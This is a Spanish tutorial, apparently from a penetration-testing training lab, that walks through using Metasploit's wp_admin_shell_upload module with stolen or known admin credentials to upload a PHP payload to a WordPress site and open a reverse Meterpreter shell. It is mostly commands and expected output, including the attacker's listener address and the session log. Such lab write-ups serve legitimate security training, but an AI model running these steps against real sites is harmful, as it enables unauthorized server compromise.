WordPress - Explotación con Metasploit (wp_admin_shell_upload)
Usar el Metasploit Framework (MSF) para automatizar la obtención de una reverse shell en el servidor que ejecuta WordPress 🧠
Este método requiere credenciales válidas con permisos suficientes para subir archivos al sitio.
⚙️ 1️⃣ Iniciar Metasploit
Abrimos Metasploit Framework desde la terminal 🖥️:
msfconsole
🧠 Este comando inicia el entorno interactivo de Metasploit, desde donde gestionaremos módulos, cargas útiles (payloads) y sesiones.
🔍 2️⃣ Buscar el módulo adecuado
Buscamos módulos relacionados con WordPress y administración 🕵️♂️:
search wp_admin
🧾 Salida esperada:
Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
🧩 Este módulo (exploit/unix/webapp/wp_admin_shell_upload) nos permite subir una shell PHP maliciosa a través de una cuenta admin válida.
🧰 3️⃣ Seleccionar el módulo
Usamos el ID del módulo (en este caso, 0) para seleccionarlo rápidamente:
use 0
📌 Ahora tu prompt debería verse así:
msf6 exploit(unix/webapp/wp_admin_shell_upload) >
⚙️ 4️⃣ Ver las opciones disponibles
Mostramos las opciones del módulo para saber qué debemos configurar:
options
🧾 Parámetros importantes:
| Opción | Descripción | Requerido | Emoji |
|---|---|---|---|
RHOSTS |
Host objetivo (dominio o IP) | ✅ Sí | 🌐 |
RPORT |
Puerto HTTP (por defecto 80) | ✅ Sí | 🔌 |
USERNAME |
Usuario de WordPress | ✅ Sí | 👤 |
PASSWORD |
Contraseña de WordPress | ✅ Sí | 🔑 |
TARGETURI |
Ruta base de WordPress | ✅ Sí | 📁 |
LHOST |
IP local del atacante | ✅ Sí | 🧠 |
🧠 5️⃣ Configurar los parámetros
Configuramos los valores según nuestro entorno 👇
set rhosts blog.inlanefreight.com set username admin set password sunshine1 set lhost 10.10.16.8
💡 Estos datos deben coincidir con tus credenciales válidas y tu IP local (tun0 o interfaz de VPN).
Opcionalmente, puedes cambiar el puerto si usas HTTPS:
set rport 443 set ssl true
🚀 6️⃣ Ejecutar el ataque
Ejecutamos el exploit 🔥:
run
📊 Salida esperada:
[*] Started reverse TCP handler on 10.10.16.8:4444 [*] Authenticating with WordPress using admin:sunshine1... [+] Authenticated with WordPress [*] Uploading payload... [*] Executing the payload at /wp-content/plugins/xyz/uTvAAKrAdp.php... [*] Sending stage (38247 bytes) to blog.inlanefreight.com [*] Meterpreter session 1 opened [+] Deleted uTvAAKrAdp.php
🧩 7️⃣ Verificar la sesión
Una vez abierta la sesión de Meterpreter 🧠:
meterpreter > getuid
Salida esperada:
Server username: www-data (33)
🎯 Esto confirma que tenemos una shell reversa activa con el usuario del servidor web (www-data).
🧱 8️⃣ Explicación técnica
| Concepto | Descripción | Emoji |
|---|---|---|
| 💣 wp_admin_shell_upload | Módulo que sube una shell PHP al servidor mediante el panel admin de WordPress | 📂 |
| 🧠 Meterpreter | Shell avanzada de Metasploit con control total del host | 💻 |
| 🌐 RHOSTS / RPORT | Dirección y puerto del objetivo | 🔌 |
| 🔑 USERNAME / PASSWORD | Credenciales de WordPress usadas para autenticarse | 👤 |
| 🚀 run | Ejecuta el exploit con las opciones configuradas | ⚡ |